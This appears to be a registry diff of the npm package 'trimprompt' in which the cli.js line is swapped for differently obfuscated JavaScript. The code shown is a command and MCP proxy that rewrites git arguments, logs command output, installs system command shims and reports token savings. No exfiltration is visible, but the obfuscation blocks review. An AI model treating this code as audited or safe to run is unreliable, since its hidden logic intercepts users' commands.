trimprompt 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cli.js CHANGED
@@ -1,2 +1,2 @@
1
1
  #!/usr/bin/env node
2
- 'use strict';function a0_0x2805(_0x4e4a75,_0x24e687){_0x4e4a75=_0x4e4a75-0x1b5;const _0x534ee7=a0_0x534e();let _0x2805a3=_0x534ee7[_0x4e4a75];return _0x2805a3;}const a0_0x392b81=a0_0x2805;(function(_0x534f9f,_0x2722d1){const _0x19e46c=a0_0x2805,_0x4bdb88=_0x534f9f();while(!![]){try{const _0x49b6d2=parseInt(_0x19e46c(0x23a))/0x1*(-parseInt(_0x19e46c(0x21e))/0x2)+-parseInt(_0x19e46c(0x23b))/0x3+parseInt(_0x19e46c(0x218))/0x4*(parseInt(_0x19e46c(0x24b))/0x5)+parseInt(_0x19e46c(0x1b6))/0x6+parseInt(_0x19e46c(0x255))/0x7+parseInt(_0x19e46c(0x223))/0x8*(parseInt(_0x19e46c(0x1d4))/0x9)+parseInt(_0x19e46c(0x1cf))/0xa*(-parseInt(_0x19e46c(0x252))/0xb);if(_0x49b6d2===_0x2722d1)break;else _0x4bdb88['push'](_0x4bdb88['shift']());}catch(_0x6d971f){_0x4bdb88['push'](_0x4bdb88['shift']());}}}(a0_0x534e,0xe3655));var __createBinding=this&&this[a0_0x392b81(0x1ca)]||(Object['create']?function(_0xc2bfb9,_0x473778,_0x3cb4e5,_0x3f2dcb){const _0x1d670d=a0_0x392b81;if(_0x3f2dcb===undefined)_0x3f2dcb=_0x3cb4e5;var _0x116fda=Object[_0x1d670d(0x244)](_0x473778,_0x3cb4e5);(!_0x116fda||(_0x1d670d(0x1e8)in _0x116fda?!_0x473778['__esModule']:_0x116fda[_0x1d670d(0x1be)]||_0x116fda['configurable']))&&(_0x116fda={'enumerable':!![],'get':function(){return _0x473778[_0x3cb4e5];}}),Object[_0x1d670d(0x1f4)](_0xc2bfb9,_0x3f2dcb,_0x116fda);}:function(_0x28841c,_0x2272bf,_0x1736d4,_0x26ade1){if(_0x26ade1===undefined)_0x26ade1=_0x1736d4;_0x28841c[_0x26ade1]=_0x2272bf[_0x1736d4];}),__setModuleDefault=this&&this[a0_0x392b81(0x1dd)]||(Object[a0_0x392b81(0x238)]?function(_0x5409c0,_0x4af604){const _0x420015=a0_0x392b81;Object[_0x420015(0x1f4)](_0x5409c0,_0x420015(0x1f8),{'enumerable':!![],'value':_0x4af604});}:function(_0x22c1a2,_0x10e527){_0x22c1a2['default']=_0x10e527;}),__importStar=this&&this[a0_0x392b81(0x1d0)]||(function(){var _0x42a412=function(_0x4eb6ce){const _0x57486b=a0_0x2805;return _0x42a412=Object[_0x57486b(0x220)]||function(_0x1b0374){const _0x296808=_0x57486b;var _0x1d2651=[];for(var _0x4a9d6d in _0x1b0374)if(Object[_0x296808(0x1c8)][_0x296808(0x1dc)][_0x296808(0x20d)](_0x1b0374,_0x4a9d6d))_0x1d2651[_0x1d2651[_0x296808(0x1eb)]]=_0x4a9d6d;return _0x1d2651;},_0x42a412(_0x4eb6ce);};return function(_0x1c1264){const _0x228aed=a0_0x2805;if(_0x1c1264&&_0x1c1264[_0x228aed(0x1c4)])return _0x1c1264;var _0x1673f0={};if(_0x1c1264!=null){for(var _0x3d804f=_0x42a412(_0x1c1264),_0x788c4d=0x0;_0x788c4d<_0x3d804f[_0x228aed(0x1eb)];_0x788c4d++)if(_0x3d804f[_0x788c4d]!==_0x228aed(0x1f8))__createBinding(_0x1673f0,_0x1c1264,_0x3d804f[_0x788c4d]);}return __setModuleDefault(_0x1673f0,_0x1c1264),_0x1673f0;};}());Object[a0_0x392b81(0x1f4)](exports,a0_0x392b81(0x1c4),{'value':!![]});const commander_1=require(a0_0x392b81(0x1fa)),executor_1=require(a0_0x392b81(0x209)),filters_1=require(a0_0x392b81(0x254)),tracker_1=require('./tracker'),shims_1=require(a0_0x392b81(0x1ee)),dashboard_1=require(a0_0x392b81(0x216)),program=new commander_1[(a0_0x392b81(0x1cd))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x30a047,_0x569214){const _0xca2273=a0_0x392b81,_0x4b377d=_0x30a047[_0xca2273(0x1c7)]();if(_0x4b377d==='git'||_0x4b377d==='yadm'){const _0xcad4f=_0x569214[0x0];if(_0xcad4f==='status'){const _0x2700f1=_0x569214[_0xca2273(0x231)](0x1),_0x429567=_0x2700f1['length']===0x0||_0x2700f1[_0xca2273(0x1d8)](_0x19b84e=>{const _0x539012=_0xca2273;return _0x19b84e==='-b'||_0x19b84e===_0x539012(0x215)||_0x19b84e===_0x539012(0x22a)||_0x19b84e===_0x539012(0x235)||_0x19b84e==='-s'||_0x19b84e===_0x539012(0x20a);});if(_0x429567)return{'cmd':_0x30a047,'args':[_0xca2273(0x251),_0xca2273(0x248),'-b']};}else{if(_0xcad4f===_0xca2273(0x1f0)){const _0x22730e=_0x569214[_0xca2273(0x231)](0x1),_0x2148b5=_0x22730e[_0xca2273(0x1c3)](_0x2ad408=>_0x2ad408[_0xca2273(0x208)](_0xca2273(0x1b9))||_0x2ad408['startsWith'](_0xca2273(0x241))||_0x2ad408[_0xca2273(0x208)](_0xca2273(0x214))),_0x46bf36=_0x22730e[_0xca2273(0x1c3)](_0x5059f0=>_0x5059f0[_0xca2273(0x208)]('-')&&/^\d+$/[_0xca2273(0x24e)](_0x5059f0[_0xca2273(0x231)](0x1))||_0x5059f0==='-n'||_0x5059f0[_0xca2273(0x208)](_0xca2273(0x224))),_0xbe3a34=[..._0x569214];if(!_0x2148b5){const _0x538350='--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---';_0xbe3a34['push'](process[_0xca2273(0x1bf)]===_0xca2273(0x20f)?'\x22'+_0x538350+'\x22':_0x538350);}!_0x46bf36&&(_0x2148b5?_0xbe3a34[_0xca2273(0x239)](_0xca2273(0x1bd)):_0xbe3a34[_0xca2273(0x239)]('-10'));const _0x40a711=_0x22730e[_0xca2273(0x1c3)](_0x11b9ad=>_0x11b9ad===_0xca2273(0x1e0)||_0x11b9ad===_0xca2273(0x237)||_0x11b9ad['startsWith']('--min-parents'));return!_0x40a711&&!_0x46bf36&&_0xbe3a34['push'](_0xca2273(0x237)),{'cmd':_0x30a047,'args':_0xbe3a34};}}}return{'cmd':_0x30a047,'args':_0x569214};}function isMcpServerExecution(_0x7a49ad,_0x3dfd28){const _0x54c473=a0_0x392b81,_0x150131=_0x7a49ad[_0x54c473(0x1c7)](),_0x3e83ea=_0x3dfd28[_0x54c473(0x217)]('\x20')[_0x54c473(0x1c7)]();if(_0x150131['includes']('mcp')&&(_0x150131[_0x54c473(0x1c0)](_0x54c473(0x1d3))||_0x150131['includes'](_0x54c473(0x1f5))))return!![];if(_0x150131===_0x54c473(0x1d6)||_0x150131===_0x54c473(0x1e9)||_0x150131===_0x54c473(0x226)||_0x150131==='npm'||_0x150131===_0x54c473(0x1d2)||_0x150131===_0x54c473(0x22f)){if(_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1fd))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1d1))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x1f1))||_0x3e83ea[_0x54c473(0x1c0)](_0x54c473(0x221)))return!![];}if(_0x3dfd28[_0x54c473(0x1c3)](_0x2a66d0=>{const _0x3e3a25=_0x54c473,_0xa4a65b=_0x2a66d0[_0x3e3a25(0x1c7)]();return _0xa4a65b[_0x3e3a25(0x1c0)](_0x3e3a25(0x1f1))||_0xa4a65b[_0x3e3a25(0x1c0)]('server-mcp')||_0xa4a65b['includes'](_0x3e3a25(0x1fd))||_0xa4a65b===_0x3e3a25(0x1c2)||_0xa4a65b===_0x3e3a25(0x233);}))return!![];return![];}async function runProxy(_0x5c32b6){const _0x262e3b=a0_0x392b81;if(_0x5c32b6[_0x262e3b(0x1eb)]===0x0){program[_0x262e3b(0x24a)]();return;}const _0x4ddbdf=_0x5c32b6[0x0],_0x1add13=_0x5c32b6[_0x262e3b(0x231)](0x1),_0x3352ea=_0x5c32b6[_0x262e3b(0x217)]('\x20');if(isDisabled()){const _0x31f0c5=await(0x0,executor_1[_0x262e3b(0x1ff)])(_0x4ddbdf,_0x1add13);process['stdout']['write'](_0x31f0c5['stdout']),process[_0x262e3b(0x240)][_0x262e3b(0x1cb)](_0x31f0c5[_0x262e3b(0x240)]),process['exit'](_0x31f0c5[_0x262e3b(0x236)]);}if(isMcpServerExecution(_0x4ddbdf,_0x1add13)){console[_0x262e3b(0x1ce)](_0x262e3b(0x1ec));const {runMcpProxy:_0x51c931}=await Promise[_0x262e3b(0x1c9)]()['then'](()=>__importStar(require(_0x262e3b(0x21f))));_0x51c931(_0x4ddbdf,_0x1add13);return;}const _0x3e1d4a=adjustCommandArgs(_0x4ddbdf,_0x1add13),_0xff2fbb=await(0x0,executor_1[_0x262e3b(0x1ff)])(_0x3e1d4a[_0x262e3b(0x21d)],_0x3e1d4a['args']),_0x3608ea=(0x0,filters_1[_0x262e3b(0x1e5)])(_0x3352ea,_0xff2fbb['stdout'],_0xff2fbb['stderr'],tracker_1[_0x262e3b(0x1fe)][_0x262e3b(0x1bc)]()[_0x262e3b(0x1ef)]),_0x31067b=_0xff2fbb['stdout']+(_0xff2fbb[_0x262e3b(0x240)][_0x262e3b(0x1e2)]()[_0x262e3b(0x1eb)]>0x0?'\x0a'+_0xff2fbb[_0x262e3b(0x240)]:'');tracker_1[_0x262e3b(0x1fe)][_0x262e3b(0x201)](_0x3352ea,_0x31067b,_0x3608ea,_0xff2fbb[_0x262e3b(0x236)]),_0xff2fbb[_0x262e3b(0x236)]===0x0?process[_0x262e3b(0x1c6)][_0x262e3b(0x1cb)](_0x3608ea+'\x0a'):(process[_0x262e3b(0x1c6)][_0x262e3b(0x1cb)](_0x3608ea+'\x0a'),_0xff2fbb[_0x262e3b(0x240)][_0x262e3b(0x1e2)]()[_0x262e3b(0x1eb)]>0x0&&!_0x3608ea[_0x262e3b(0x1c0)](_0xff2fbb[_0x262e3b(0x240)]['trim']())&&process[_0x262e3b(0x240)][_0x262e3b(0x1cb)](_0xff2fbb[_0x262e3b(0x240)]+'\x0a')),process[_0x262e3b(0x204)](_0xff2fbb[_0x262e3b(0x236)]);}function a0_0x534e(){const _0x1fcb6b=['executeCommand','-p,\x20--port\x20<number>','logExecution','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','set','exit','shims','then','install','startsWith','./executor','--short','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','=============================================','call','stats','win32','message','option','Install\x20or\x20uninstall\x20system\x20command\x20shims','Start\x20the\x20local\x20developer\x20dashboard','--format','--branch','./dashboard','join','6180PKAMKK','[server-args...]','1.0.0','parse','name','cmd','2iEaenJ','./mcp','getOwnPropertyNames','server-mcp','description','5745224AqeHNY','--max-count','uninstallShims','bun','-m,\x20--model\x20<string>','argument','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','-sb','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','alias','savings_percentage','port','yarn','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','slice','Reduction\x20Rate:\x20\x20\x20\x20','mcp','\x20(after\x20Shave)','-bs','exitCode','--no-merges','create','push','264736ZXmHJn','620793bbzKTT','argv','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','Config\x20set\x20','toLocaleString','stderr','--pretty','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','model','getOwnPropertyDescriptor','Command\x20line\x20to\x20evaluate','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','=============================================\x0a','--porcelain','toFixed','help','4870evGNgL','action','--version','test','install\x20or\x20uninstall','config','status','16222657IGOMIG','--help','./filters','12697545UfSpxX','<key>','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','config\x20parameter\x20name','10743138KjdjZb','startDashboard','false','--oneline','model_name','<action>','getConfig','-50','writable','platform','includes','[value]','mcp-proxy','some','__esModule','\x20USD','stdout','toLowerCase','prototype','resolve','__createBinding','write','total_compressed_tokens','Command','error','30DIhxZu','__importStar','modelcontextprotocol','pnpm','server','9DViOMH','rewriteCommand','npx','claude-3-5-sonnet','every','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','Estimated\x20Cost:\x20\x20\x20\x20$','hasOwnProperty','__setModuleDefault','command','rewrite','--merges','\x20(before\x20Shave)','trim','total_raw_tokens','<server-command>','compressOutput','Arguments\x20for\x20the\x20target\x20MCP\x20server','Show\x20token\x20and\x20cost\x20savings\x20summary','get','node','true','length','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','value\x20to\x20set','./shims','redaction_enabled','log','mcp-server','---------------------------------------------','4000','defineProperty','proxy','raw_cost_usd','\x0a=============================================','default','total_tokens_saved','commander','<commandLine>','dashboard','@modelcontextprotocol/','tracker'];a0_0x534e=function(){return _0x1fcb6b;};return a0_0x534e();}program[a0_0x392b81(0x21c)](a0_0x392b81(0x1e2))[a0_0x392b81(0x222)](a0_0x392b81(0x1d9))['version'](a0_0x392b81(0x21a)),program['command']('ui')[a0_0x392b81(0x22c)](a0_0x392b81(0x1fc))['description'](a0_0x392b81(0x213))[a0_0x392b81(0x211)](a0_0x392b81(0x200),'Port\x20to\x20run\x20the\x20dashboard\x20on',a0_0x392b81(0x1f3))['action'](_0x471ff2=>{const _0x50dd9c=a0_0x392b81,_0x171522=parseInt(_0x471ff2[_0x50dd9c(0x22e)],0xa);(0x0,dashboard_1[_0x50dd9c(0x1b7)])(_0x171522);}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x20e))[a0_0x392b81(0x222)](a0_0x392b81(0x1e7))['option'](a0_0x392b81(0x227),a0_0x392b81(0x230),a0_0x392b81(0x1d7))['action'](_0xb7f1f3=>{const _0x528d2b=a0_0x392b81,_0x5ad87f=tracker_1[_0x528d2b(0x1fe)]['getStatsSummary'](_0xb7f1f3[_0x528d2b(0x243)]);console[_0x528d2b(0x1f0)](_0x528d2b(0x1f7)),console[_0x528d2b(0x1f0)](_0x528d2b(0x20b)),console[_0x528d2b(0x1f0)](_0x528d2b(0x20c)),console[_0x528d2b(0x1f0)]('Model\x20Context:\x20\x20\x20\x20\x20'+_0x5ad87f[_0x528d2b(0x1ba)]),console[_0x528d2b(0x1f0)](_0x528d2b(0x23d)+_0x5ad87f[_0x528d2b(0x1e3)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)](_0x528d2b(0x1da)+_0x5ad87f[_0x528d2b(0x1cc)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)]('Tokens\x20Saved:\x20\x20\x20\x20\x20\x20'+_0x5ad87f[_0x528d2b(0x1f9)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)](_0x528d2b(0x232)+_0x5ad87f[_0x528d2b(0x22d)]+'%'),console[_0x528d2b(0x1f0)](_0x528d2b(0x1db)+_0x5ad87f[_0x528d2b(0x1f6)][_0x528d2b(0x249)](0x4)+_0x528d2b(0x1e1)),console[_0x528d2b(0x1f0)]('Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$'+_0x5ad87f['compressed_cost_usd'][_0x528d2b(0x249)](0x4)+_0x528d2b(0x234)),console[_0x528d2b(0x1f0)](_0x528d2b(0x1f2)),console['log'](_0x528d2b(0x202)+_0x5ad87f['money_saved_usd'][_0x528d2b(0x249)](0x4)+_0x528d2b(0x1c5)),console[_0x528d2b(0x1f0)](_0x528d2b(0x247));}),program[a0_0x392b81(0x1de)]('config')[a0_0x392b81(0x222)]('Manage\x20local\x20configuration\x20parameters')['argument'](a0_0x392b81(0x1bb),'get\x20or\x20set')['argument'](a0_0x392b81(0x256),a0_0x392b81(0x1b5))[a0_0x392b81(0x228)](a0_0x392b81(0x1c1),a0_0x392b81(0x1ed))[a0_0x392b81(0x24c)]((_0x28a742,_0x3a2be5,_0x34a0ca)=>{const _0x2ea809=a0_0x392b81;if(_0x28a742===_0x2ea809(0x1e8)){const _0x2449f4=tracker_1[_0x2ea809(0x1fe)]['getConfig']();console[_0x2ea809(0x1f0)](_0x3a2be5+':\x20'+_0x2449f4[_0x3a2be5]);}else{if(_0x28a742===_0x2ea809(0x203)){_0x34a0ca===undefined&&(console[_0x2ea809(0x1ce)]('Error:\x20Value\x20required\x20for\x20set\x20action'),process[_0x2ea809(0x204)](0x1));let _0x4fc53a=_0x34a0ca;if(_0x34a0ca===_0x2ea809(0x1ea))_0x4fc53a=!![];if(_0x34a0ca===_0x2ea809(0x1b8))_0x4fc53a=![];if(/^\d+$/[_0x2ea809(0x24e)](_0x34a0ca))_0x4fc53a=parseInt(_0x34a0ca,0xa);tracker_1[_0x2ea809(0x1fe)]['setConfig'](_0x3a2be5,_0x4fc53a),console[_0x2ea809(0x1f0)](_0x2ea809(0x23e)+_0x3a2be5+'\x20=\x20'+_0x34a0ca);}else console[_0x2ea809(0x1ce)]('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process[_0x2ea809(0x204)](0x1);}}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x205))['description'](a0_0x392b81(0x212))['argument'](a0_0x392b81(0x1bb),a0_0x392b81(0x24f))[a0_0x392b81(0x24c)](_0x940d24=>{const _0x357c21=a0_0x392b81;if(_0x940d24===_0x357c21(0x207)){const _0xd31e91=(0x0,shims_1['installShims'])();console[_0x357c21(0x1f0)](_0xd31e91['message']);}else{if(_0x940d24==='uninstall'){const _0x1f9891=(0x0,shims_1[_0x357c21(0x225)])();console['log'](_0x1f9891['message']);}else console[_0x357c21(0x1ce)](_0x357c21(0x242)),process[_0x357c21(0x204)](0x1);}}),program['command'](a0_0x392b81(0x1df))[a0_0x392b81(0x222)](a0_0x392b81(0x246))[a0_0x392b81(0x228)](a0_0x392b81(0x1fb),a0_0x392b81(0x245))['action'](_0x10bb9c=>{const _0x5c15ea=a0_0x392b81;if(isDisabled()){console[_0x5c15ea(0x1f0)](_0x10bb9c);return;}const _0x4926e9=(0x0,filters_1[_0x5c15ea(0x1d5)])(_0x10bb9c);console[_0x5c15ea(0x1f0)](_0x4926e9);}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x1c2))[a0_0x392b81(0x22c)]('mcp')['description'](a0_0x392b81(0x229))[a0_0x392b81(0x228)](a0_0x392b81(0x1e4),a0_0x392b81(0x257))[a0_0x392b81(0x228)](a0_0x392b81(0x219),a0_0x392b81(0x1e6))[a0_0x392b81(0x24c)](async(_0xdcb598,_0x5e7405)=>{const _0x224ac2=a0_0x392b81,{runMcpProxy:_0x2efa43}=await Promise[_0x224ac2(0x1c9)]()[_0x224ac2(0x206)](()=>__importStar(require(_0x224ac2(0x21f))));_0x2efa43(_0xdcb598,_0x5e7405);});const args=process[a0_0x392b81(0x23c)][a0_0x392b81(0x231)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x392b81(0x1fc),a0_0x392b81(0x20e),a0_0x392b81(0x250),a0_0x392b81(0x205),'rewrite',a0_0x392b81(0x1c2),a0_0x392b81(0x233),a0_0x392b81(0x24a),a0_0x392b81(0x253),'-h','version',a0_0x392b81(0x24d),'-v'];firstArg&&!subcommands[a0_0x392b81(0x1c0)](firstArg)?runProxy(args)['catch'](_0xc51379=>{const _0x5d2b61=a0_0x392b81;console['error'](_0x5d2b61(0x22b)+_0xc51379[_0x5d2b61(0x210)]),process[_0x5d2b61(0x204)](0x1);}):program[a0_0x392b81(0x21b)](process[a0_0x392b81(0x23c)]);
2
+ 'use strict';const a0_0x4b1687=a0_0x3719;(function(_0x1fc112,_0x3ba96f){const _0x3a07b0=a0_0x3719,_0x504327=_0x1fc112();while(!![]){try{const _0x1ef378=-parseInt(_0x3a07b0(0x11e))/0x1+parseInt(_0x3a07b0(0x13b))/0x2*(parseInt(_0x3a07b0(0x159))/0x3)+parseInt(_0x3a07b0(0x1a2))/0x4+-parseInt(_0x3a07b0(0x190))/0x5*(-parseInt(_0x3a07b0(0x11c))/0x6)+parseInt(_0x3a07b0(0x110))/0x7+-parseInt(_0x3a07b0(0x157))/0x8+-parseInt(_0x3a07b0(0x12e))/0x9*(parseInt(_0x3a07b0(0x118))/0xa);if(_0x1ef378===_0x3ba96f)break;else _0x504327['push'](_0x504327['shift']());}catch(_0x3707a6){_0x504327['push'](_0x504327['shift']());}}}(a0_0x3215,0x4a1f2));var __createBinding=this&&this['__createBinding']||(Object[a0_0x4b1687(0x13e)]?function(_0x33acc9,_0x59b056,_0x2b39e7,_0x169012){const _0x2c9414=a0_0x4b1687;if(_0x169012===undefined)_0x169012=_0x2b39e7;var _0x483eb6=Object[_0x2c9414(0x193)](_0x59b056,_0x2b39e7);(!_0x483eb6||('get'in _0x483eb6?!_0x59b056[_0x2c9414(0x116)]:_0x483eb6[_0x2c9414(0x17c)]||_0x483eb6[_0x2c9414(0x14a)]))&&(_0x483eb6={'enumerable':!![],'get':function(){return _0x59b056[_0x2b39e7];}}),Object['defineProperty'](_0x33acc9,_0x169012,_0x483eb6);}:function(_0x33849f,_0x7ac94f,_0x1f77dd,_0x5545df){if(_0x5545df===undefined)_0x5545df=_0x1f77dd;_0x33849f[_0x5545df]=_0x7ac94f[_0x1f77dd];}),__setModuleDefault=this&&this[a0_0x4b1687(0x14d)]||(Object[a0_0x4b1687(0x13e)]?function(_0x20a2dd,_0x27a6d6){const _0x1e283d=a0_0x4b1687;Object[_0x1e283d(0x14b)](_0x20a2dd,'default',{'enumerable':!![],'value':_0x27a6d6});}:function(_0x8a1468,_0x20d195){const _0xd01238=a0_0x4b1687;_0x8a1468[_0xd01238(0x151)]=_0x20d195;}),__importStar=this&&this[a0_0x4b1687(0x138)]||(function(){var _0x10e6d5=function(_0x3c773a){const _0x9f5cea=a0_0x3719;return _0x10e6d5=Object[_0x9f5cea(0x17b)]||function(_0x4ab1a1){const _0x3e0f6a=_0x9f5cea;var _0x1b67a0=[];for(var _0x589d9e in _0x4ab1a1)if(Object[_0x3e0f6a(0x187)][_0x3e0f6a(0x16e)][_0x3e0f6a(0x14f)](_0x4ab1a1,_0x589d9e))_0x1b67a0[_0x1b67a0[_0x3e0f6a(0x1b6)]]=_0x589d9e;return _0x1b67a0;},_0x10e6d5(_0x3c773a);};return function(_0x354205){const _0x33f201=a0_0x3719;if(_0x354205&&_0x354205['__esModule'])return _0x354205;var _0x4eddef={};if(_0x354205!=null){for(var _0x44dafd=_0x10e6d5(_0x354205),_0x502bb8=0x0;_0x502bb8<_0x44dafd[_0x33f201(0x1b6)];_0x502bb8++)if(_0x44dafd[_0x502bb8]!==_0x33f201(0x151))__createBinding(_0x4eddef,_0x354205,_0x44dafd[_0x502bb8]);}return __setModuleDefault(_0x4eddef,_0x354205),_0x4eddef;};}());Object[a0_0x4b1687(0x14b)](exports,a0_0x4b1687(0x116),{'value':!![]});const commander_1=require('commander'),executor_1=require(a0_0x4b1687(0x117)),filters_1=require(a0_0x4b1687(0x15e)),tracker_1=require(a0_0x4b1687(0x176)),shims_1=require(a0_0x4b1687(0x149)),dashboard_1=require(a0_0x4b1687(0x178)),program=new commander_1[(a0_0x4b1687(0x164))]();function a0_0x3215(){const _0x2845ea=['\x0a=============================================','getOwnPropertyNames','writable','test','server','get\x20or\x20set','mcp-proxy','log','claude-3-5-sonnet','write','Port\x20to\x20run\x20the\x20dashboard\x20on','Reduction\x20Rate:\x20\x20\x20\x20','uninstall','prototype','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','model_name','Show\x20token\x20and\x20cost\x20savings\x20summary','description','installShims','some','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','--version','86185liKGPN','toFixed','config','getOwnPropertyDescriptor','server-mcp','-bs','--format','win32','\x20(before\x20Shave)','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','Command\x20line\x20to\x20evaluate','action','mcp','--min-parents','parse','1.0.0','Manage\x20local\x20configuration\x20parameters','\x20=\x20','1490252MScBuL','\x20USD','--short','-sb','toLocaleString','Start\x20the\x20local\x20developer\x20dashboard','message','port','argv','pnpm','Install\x20or\x20uninstall\x20system\x20command\x20shims','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','argument','exit','name','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','command','startDashboard','join','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','length','3888717xqqmuj','rewrite','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','--max-count','executeCommand','__esModule','./executor','7072070KQYtZr','then','[server-args...]','npm','78HrFJOl','config\x20parameter\x20name','185538DRwVxT','--oneline','resolve','<server-command>','modelcontextprotocol','yarn','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','version','--porcelain','help','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','-p,\x20--port\x20<number>','total_compressed_tokens','tracker','<action>','install','9SJRMBz','bun','Error:\x20Value\x20required\x20for\x20set\x20action','stats','install\x20or\x20uninstall','Arguments\x20for\x20the\x20target\x20MCP\x20server','Estimated\x20Cost:\x20\x20\x20\x20$','toLowerCase','./mcp','savings_percentage','__importStar','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','-m,\x20--model\x20<string>','923368PNdVPi','total_tokens_saved','Model\x20Context:\x20\x20\x20\x20\x20','create','args','stdout','=============================================','--no-merges','status','getStatsSummary','git','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','value\x20to\x20set','mcp-server','./shims','configurable','defineProperty','Config\x20set\x20','__setModuleDefault','=============================================\x0a','call','alias','default','startsWith','push','compressOutput','set','@modelcontextprotocol/','3340096AoHUtB','<commandLine>','3ddafuK','4000','-50','model','money_saved_usd','./filters','npx','setConfig','dashboard','catch','trim','Command','error','every','false','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','shims','option','cmd','-10','get','hasOwnProperty','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','stderr','--pretty','includes','node','---------------------------------------------','slice','./tracker','getConfig','./dashboard','--branch'];a0_0x3215=function(){return _0x2845ea;};return a0_0x3215();}function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0x25c74e,_0x3aaba2){const _0x4eb106=a0_0x4b1687,_0x16730d=_0x25c74e[_0x4eb106(0x135)]();if(_0x16730d===_0x4eb106(0x145)||_0x16730d==='yadm'){const _0x11ee0c=_0x3aaba2[0x0];if(_0x11ee0c===_0x4eb106(0x143)){const _0x5db1d7=_0x3aaba2[_0x4eb106(0x175)](0x1),_0x18fcf2=_0x5db1d7[_0x4eb106(0x1b6)]===0x0||_0x5db1d7[_0x4eb106(0x166)](_0xd776e5=>{const _0x41c827=_0x4eb106;return _0xd776e5==='-b'||_0xd776e5===_0x41c827(0x179)||_0xd776e5===_0x41c827(0x1a5)||_0xd776e5===_0x41c827(0x195)||_0xd776e5==='-s'||_0xd776e5===_0x41c827(0x1a4);});if(_0x18fcf2)return{'cmd':_0x25c74e,'args':[_0x4eb106(0x143),_0x4eb106(0x126),'-b']};}else{if(_0x11ee0c===_0x4eb106(0x181)){const _0x397475=_0x3aaba2[_0x4eb106(0x175)](0x1),_0x65248c=_0x397475[_0x4eb106(0x18d)](_0x33ae8c=>_0x33ae8c[_0x4eb106(0x152)](_0x4eb106(0x11f))||_0x33ae8c[_0x4eb106(0x152)](_0x4eb106(0x171))||_0x33ae8c['startsWith'](_0x4eb106(0x196))),_0x4a1349=_0x397475[_0x4eb106(0x18d)](_0x587a3c=>_0x587a3c[_0x4eb106(0x152)]('-')&&/^\d+$/[_0x4eb106(0x17d)](_0x587a3c[_0x4eb106(0x175)](0x1))||_0x587a3c==='-n'||_0x587a3c[_0x4eb106(0x152)](_0x4eb106(0x114))),_0x2b5243=[..._0x3aaba2];if(!_0x65248c){const _0xce969d=_0x4eb106(0x128);_0x2b5243[_0x4eb106(0x153)](process['platform']===_0x4eb106(0x197)?'\x22'+_0xce969d+'\x22':_0xce969d);}!_0x4a1349&&(_0x65248c?_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x15b)):_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x16c)));const _0x7f1dff=_0x397475[_0x4eb106(0x18d)](_0x1179af=>_0x1179af==='--merges'||_0x1179af===_0x4eb106(0x142)||_0x1179af[_0x4eb106(0x152)](_0x4eb106(0x19d)));return!_0x7f1dff&&!_0x4a1349&&_0x2b5243[_0x4eb106(0x153)](_0x4eb106(0x142)),{'cmd':_0x25c74e,'args':_0x2b5243};}}}return{'cmd':_0x25c74e,'args':_0x3aaba2};}function isMcpServerExecution(_0x59e54f,_0x4b4ab7){const 